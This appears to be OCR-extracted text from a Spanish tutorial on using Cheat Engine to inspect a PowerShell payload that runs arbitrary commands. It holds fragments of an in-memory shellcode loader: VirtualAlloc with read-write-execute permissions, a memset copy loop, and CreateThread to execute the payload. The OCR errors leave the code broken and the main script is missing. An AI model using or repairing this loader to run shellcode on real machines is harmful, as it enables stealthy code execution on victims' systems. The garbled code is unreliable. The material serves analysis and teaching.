Analizar con Cheat Engine un
payload de ejecucidon de
comandos arbitrarios para
ejecutar PowerShell

Script para cargar en memoria y ejecutar un payload de
ejecucién de comandos arbitrarios en PowerShell
[crayon-6a617b444b7ca310309103/]

Direcciones utilizadas para cargar la shellcode con el payload
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calcular el tamafio necesario para 1a asignacidn virtualalloc
Ssize = 0x1000
if (sbuf.Length 0x1000) {$size $buf.Length}

Asignar una pagina de memoria
solo funciona si el tamafio del tercer parametro es al menos 0x1000
# Permisos RWX

SwinFunc: : VirtualAlloc(0,0x1000, $size, 0x40)

# Afiadir la shellcede con el pn51uan a la memoria
for ($i=0;51i (sbuf.Length-1);5§ ) {SwinFunc::memset([IntPtr]($x.ToInt32()+§1), Sbuf([$i 10}
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E]ecut;r el payload
c::CreateThread(0.0,5x,0,0.0)
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Analizar con Cheat Engine el payload de ejecucion de comandos
arbitrarios cargado en PowerShell
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Relacidn entre la shellcode y la carga en memoria desde Cheat
Engine
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